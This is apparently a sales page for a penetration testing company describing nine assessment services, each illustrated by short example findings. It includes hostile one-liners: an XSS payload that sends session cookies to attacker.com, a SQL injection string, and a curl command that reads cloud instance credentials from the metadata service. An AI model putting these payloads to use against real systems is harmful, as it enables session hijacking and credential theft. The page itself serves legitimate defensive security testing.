Every engagement. 48-hour certificate.

Every test. Every platform.
One certificate.

Nine penetration testing services, each conducted by a human researcher following industry standards. Every engagement ends with a VAPT certificate in your company name, in 48 hours.

9
Services
48h
Certificate delivery
0
Scanner-only reports
OWASP
+ NIST + PTES
Web App API Mobile Network Cloud Source Code Thick Client Thin Client Red Team ▶ Test Checker
OWASP Testing Guide v4.2 · NIST SP 800-115 · PTES

Web Application VAPT

Full offensive testing of your web application — authentication, session management, access control, injection, business logic, and client-side vulnerabilities. Every finding manually verified by a researcher.

W
OWASP Top 10 Web
OTG
OWASP Testing Guide v4.2
N
NIST SP 800-115
P
PTES
Broken Access Control (IDOR / BOLA)
Critical

Direct object reference attacks where a user accesses resources belonging to another user by manipulating IDs, UUIDs, or path parameters. The most common high-impact finding in web applications.

GET /api/invoices?id=1284 → returns another company's invoice
Directly evidenced in OWASP A01 — Broken Access Control
Authentication & Session Attacks
Critical

Testing for credential stuffing vectors, brute-force exposure, weak token generation, session fixation, token not invalidated on logout, and JWT algorithm confusion attacks.

POST /auth/login — rate limit absent, allows 10,000 password attempts/minute
OWASP A07 — Identification and Authentication Failures
SQL & NoSQL Injection
Critical

Manual injection testing across all input vectors — URL parameters, form fields, HTTP headers, JSON bodies, and GraphQL queries. Both time-based blind and error-based techniques used.

POST /search {"q":"' OR 1=1--"} → full database dump
OWASP A03 — Injection
Business Logic Flaws
High

Price manipulation, quantity tampering, workflow bypass, privilege escalation via state manipulation. These are only found by humans — no scanner detects them.

POST /checkout {"price":"0.01","qty":100} → order accepted at manipulated price
OWASP WSTG-BUSL — Business Logic Testing
XSS & CSRF
High

Reflected, stored, and DOM-based XSS across all input points. CSRF token absence, SameSite cookie misconfiguration, and cross-origin request forgery on state-changing endpoints.

Stored XSS in profile bio: <img src=x onerror=fetch('//attacker.com/?c='+document.cookie)>
OWASP A03 — Injection / OWASP WSTG-SESS
Security Misconfiguration
Medium

Missing security headers (CSP, HSTS, X-Frame-Options), server version disclosure, directory listing, debug mode in production, default credentials, and exposed admin panels.

Server: Apache/2.4.49 — known vulnerable version disclosed in response header
OWASP A05 — Security Misconfiguration
Get Web App VAPT Quote →
OWASP API Security Top 10 · NIST SP 800-115

API Security Testing

REST, GraphQL, gRPC, and SOAP APIs tested for broken object-level auth, function-level auth, mass assignment, rate limiting bypass, and excessive data exposure. Every endpoint enumerated and tested manually.

API
OWASP API Security Top 10
N
NIST SP 800-115
P
PTES
Broken Object Level Auth (BOLA / IDOR)
Critical

API1 in OWASP API Top 10. Every object-returning endpoint tested for authorisation bypass — manipulating IDs, guessing adjacent records, and tenant isolation failures in multi-tenant apps.

GET /api/v2/users/7291/documents → returns another user's files with valid token
OWASP API1:2023 — Broken Object Level Authorization
Broken Function Level Auth
Critical

Admin-only endpoints accessible to regular users. Horizontal privilege escalation via HTTP method switching (POST→PUT→DELETE). Unprotected internal API endpoints discoverable from API schema.

DELETE /api/users/admin_id — no role check, any authenticated user can delete accounts
OWASP API5:2023 — Broken Function Level Authorization
Mass Assignment
High

Injecting extra properties in API request bodies to modify fields that should not be user-settable — role elevation, pricing override, subscription tier manipulation.

PATCH /api/profile {"name":"test","role":"admin","subscription":"enterprise"} → accepted
OWASP API6:2023 — Unrestricted Access to Sensitive Business Flows
Excessive Data Exposure
High

API responses returning more fields than the frontend displays — PII, internal IDs, hashed passwords, admin flags, audit trails. The application relies on the client to filter, not the server.

GET /api/users/me → returns {name, email, passwordHash, isAdmin:false, internalId}
OWASP API3:2023 — Broken Object Property Level Authorization
Rate Limiting & Resource Exhaustion
Medium

No throttling on authentication endpoints allows credential stuffing. No rate limits on password reset flow allows OTP brute-forcing. GraphQL query depth attacks causing DoS.

POST /api/auth/otp-verify — 10,000 attempts/min, 6-digit code brute-forceable in <17 minutes
OWASP API4:2023 — Unrestricted Resource Consumption
Get API Security Quote →
OWASP MASVS · OWASP Mobile Top 10 · NIST SP 800-163

Mobile App VAPT

iOS and Android applications tested at the binary, network, and runtime level. Static analysis of the compiled app, dynamic testing via instrumentation, and backend API testing as a unified engagement.

MAS
OWASP MASVS iOS & Android
M10
OWASP Mobile Top 10
N
NIST SP 800-163
Insecure Data Storage
Critical

Auth tokens, PII, and API keys stored in plaintext in SharedPreferences (Android), NSUserDefaults (iOS), SQLite, log files, or app backups accessible without root.

/data/data/com.app/shared_prefs/prefs.xml: access_token="eyJhbGci..."
OWASP MASVS-STORAGE — Storage and Privacy
Certificate Pinning Bypass & MitM
Critical

Intercepting mobile traffic via Frida-based SSL kill switch. Exposing API calls the app makes that are not visible from the frontend. Testing for certificate validation failures.

Frida hook bypasses pinning → all HTTPS traffic intercepted → API endpoints mapped
OWASP MASVS-NETWORK — Network Communication
Hardcoded Secrets & API Keys
Critical

Static reverse engineering of the APK/IPA to extract hardcoded API keys, tokens, encryption keys, and backend URLs embedded in the binary or resource files.

strings app.apk | grep -i "secret" → AWS_SECRET_KEY=AKIA... found in strings
OWASP MASVS-CODE — Code Quality
Deeplink & Intent Exploitation
High

Exported Activities and Services accessible without authentication, deeplink hijacking, intent redirection to bypass auth flows, and task affinity exploitation on Android.

adb shell am start -n com.app/.ResetPasswordActivity --es token "" → password reset without email
OWASP MASVS-PLATFORM — Platform Interaction
Get Mobile VAPT Quote →
NIST SP 800-115 · PTES · CIS Benchmarks

Network VAPT

Internal and external network infrastructure testing. Port scanning, service enumeration, vulnerability exploitation, lateral movement simulation, and privilege escalation across network segments.

N
NIST SP 800-115
P
PTES
CIS
CIS Benchmarks
Service Exploitation & CVE Testing
Critical

Identifying and exploiting unpatched services exposed on the network — SMB, RDP, SSH, FTP, Telnet. Manual verification that CVEs are actually exploitable in your environment, not just theoretical.

SMB port 445 open → EternalBlue (MS17-010) confirmed exploitable → remote code execution
NIST SP 800-115 Section 4 — Network Testing
Credential & Protocol Attacks
High

Default credentials on routers, switches, and appliances. Password spraying against Active Directory. NTLM relay, Kerberoasting, AS-REP roasting on Windows environments.

Kerberoasting → 3 service accounts with weak passwords cracked offline in <1 hour
PTES — Exploitation and Post-Exploitation
Network Segmentation Validation
High

Testing whether VLAN segmentation and firewall rules are actually enforced. Can a compromised workstation reach production databases? Is a DMZ host able to pivot to internal servers?

From DMZ server → direct TCP connection to 10.0.0.5:5432 (internal PostgreSQL) — segmentation not enforced
CIS Benchmark — Network Segmentation Controls
Get Network VAPT Quote →
CIS Benchmarks · NIST SP 800-190 · Cloud Provider Security Frameworks

Cloud Security Assessment

AWS, GCP, and Azure infrastructure reviewed for IAM misconfigurations, public exposure, secrets in environment variables, insecure storage buckets, container escape vectors, and logging gaps.

CIS
CIS AWS/Azure/GCP Benchmarks
N
NIST SP 800-190
CSF
NIST Cybersecurity Framework
IAM Misconfiguration & Privilege Escalation
Critical

Overpermissioned IAM roles, wildcard policies, privilege escalation paths from a low-privilege role to admin via PassRole, AssumeRole chains, or misconfigured trust relationships.

iam:PassRole + lambda:CreateFunction → EC2 role escalated to AdministratorAccess in 3 steps
CIS AWS Foundations Benchmark — IAM Controls
Public S3 / Storage Exposure
Critical

S3 buckets, Azure Blobs, and GCS buckets enumerated and tested for public read/write access, predictable naming conventions, and pre-signed URL exploitation.

s3://company-prod-backups → public-read ACL → 4TB of customer data accessible without credentials
CIS AWS 2.1 — Ensure S3 buckets do not allow public access
Secrets in Environment & Metadata
Critical

Database passwords in Lambda environment variables, API keys in EC2 instance metadata, secrets in container image layers, and credentials in CloudFormation templates.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ → production DB password extracted
NIST SP 800-190 — Secrets Management in Container Environments
Container & Kubernetes Escape
High

Privileged container escape, host path mount exploitation, Kubernetes RBAC bypass, service account token theft, and etcd exposure on misconfigured clusters.

Privileged pod + hostPath mount → chroot to host filesystem → cluster admin takeover
NIST SP 800-190 — Container Escape Controls
Get Cloud Assessment Quote →
OWASP Code Review Guide · CWE Top 25 · SANS Top 25

Source Code Review

Manual review of application source code for security flaws invisible to runtime testing — cryptographic weaknesses, insecure deserialization, race conditions, hardcoded secrets, and dependency vulnerabilities.

CRG
OWASP Code Review Guide
CWE
CWE Top 25
SANS
SANS Top 25
Cryptographic Weakness
Critical

Weak hashing algorithms (MD5/SHA1 for passwords), ECB mode encryption, hardcoded IV, custom cryptographic implementations, and insufficient entropy in token generation.

hashlib.md5(password.encode()).hexdigest() — MD5 password hashing, crackable in seconds
CWE-327 — Use of Broken Cryptographic Algorithm
Insecure Deserialization
Critical

Java, Python, PHP, and Ruby deserialization gadget chains enabling remote code execution. Node.js prototype pollution via unsanitised merge operations.

ObjectInputStream.readObject() on user-controlled data → RCE via Apache Commons Collections gadget chain
OWASP A08 — Software and Data Integrity Failures
Race Conditions & TOCTOU
High

Time-of-check to time-of-use vulnerabilities in payment flows, balance updates, and concurrent session handling that allow double-spending or balance manipulation.

Parallel requests to /redeem-coupon before atomicity check → same coupon redeemed 47 times
CWE-362 — Concurrent Execution Using Shared Resource
Get Source Code Review Quote →
OWASP Testing Guide · PTES · CWE Top 25

Thick Client VAPT

Desktop applications (.exe, .msi, Electron, Java, .NET) tested via static analysis, memory inspection, traffic interception, and binary patching. Targeting local storage, IPC channels, and client-server communication.

OTG
OWASP Testing Guide
P
PTES
CWE
CWE Top 25
Sensitive Data in Memory & Local Storage
Critical

Credentials, session tokens, and encryption keys found in process memory, registry, config files, or SQLite databases stored locally by the application.

strings memory_dump.bin | grep token → bearer eyJhbGci... plaintext in heap memory
OWASP WSTG-CLNT — Client-Side Testing
DLL Hijacking & Binary Planting
High

Application loads DLLs from user-writable paths, enabling privilege escalation via DLL replacement. Unquoted service paths exploitable on Windows installations.

ProcMon shows app loading C:\Users\Public\version.dll → writable by any user → code execution
CWE-427 — Uncontrolled Search Path Element
Get Thick Client Quote →
OWASP Testing Guide · NIST SP 800-115 · PTES

Thin Client VAPT

Browser-based enterprise applications, Citrix/RDS environments, and web-delivered thin clients tested for session isolation failures, breakout vectors, and privilege escalation within virtualised desktop environments.

OTG
OWASP Testing Guide
N
NIST SP 800-115
Citrix / RDS Breakout
Critical

Escaping restricted desktop environments via application whitelisting bypasses, sticky keys exploitation, dialog box abuse, and taskbar manipulation to reach a full Windows shell.

SaveAs dialog → UNC path → cmd.exe launched outside restricted shell → full desktop access
PTES — Post-Exploitation Breakout Testing
Session Isolation Failures
High

One user's session data accessible to another user in shared virtualised environments. Shared clipboard data leaking credentials, temp files accessible cross-session.

Shared %TEMP% directory across sessions → user A reads user B's auth token from temp file
NIST SP 800-115 — Session Management Testing
Get Thin Client Quote →
MITRE ATT&CK · PTES · NIST SP 800-115

Red Team Operations

Full adversary simulation targeting your organisation across all attack surfaces simultaneously. Social engineering, phishing, physical access, application exploitation, and lateral movement combined into one realistic attack scenario.

ATT
MITRE ATT&CK Framework
P
PTES
N
NIST SP 800-115
Phishing & Spear Phishing
Critical

Targeted email phishing using real OSINT about your employees. Custom landing pages, credential harvesting, and macro-enabled document delivery testing your human security layer.

LinkedIn OSINT → CFO email spoofed → 6/20 finance team members entered credentials on clone site
MITRE ATT&CK T1566 — Phishing
Initial Access & Lateral Movement
Critical

From initial compromise, moving through the network to reach the crown jewels — customer database, source code repository, or financial systems. Pass-the-hash, token impersonation, and trust exploitation.

Phished credential → VPN access → internal RDP → domain controller → full AD compromise
MITRE ATT&CK TA0008 — Lateral Movement
Persistence & C2 Simulation
High

Testing whether your security monitoring detects and responds to attacker persistence mechanisms — scheduled tasks, registry run keys, service installation, and command-and-control beaconing.

C2 beacon running 14 days undetected — no SIEM alert, no EDR response, no SOC ticket created
MITRE ATT&CK TA0003 — Persistence
Get Red Team Quote →
Interactive Test Checker

What does your platform expose?

Select your platform type to see the most common attack scenarios we test — with real examples from actual engagements.

Every item above is tested manually in every engagement.

Get Your Application Tested →
Testing Standards We Follow
W10
OWASP Top 10 Web
API
OWASP API Security Top 10
MAS
OWASP MASVS iOS & Android
OTG
OWASP Testing Guide v4.2
NIST
NIST SP 800-115
P
PTES Standard
CIS
CIS Benchmarks
ATT
MITRE ATT&CK
Chat with us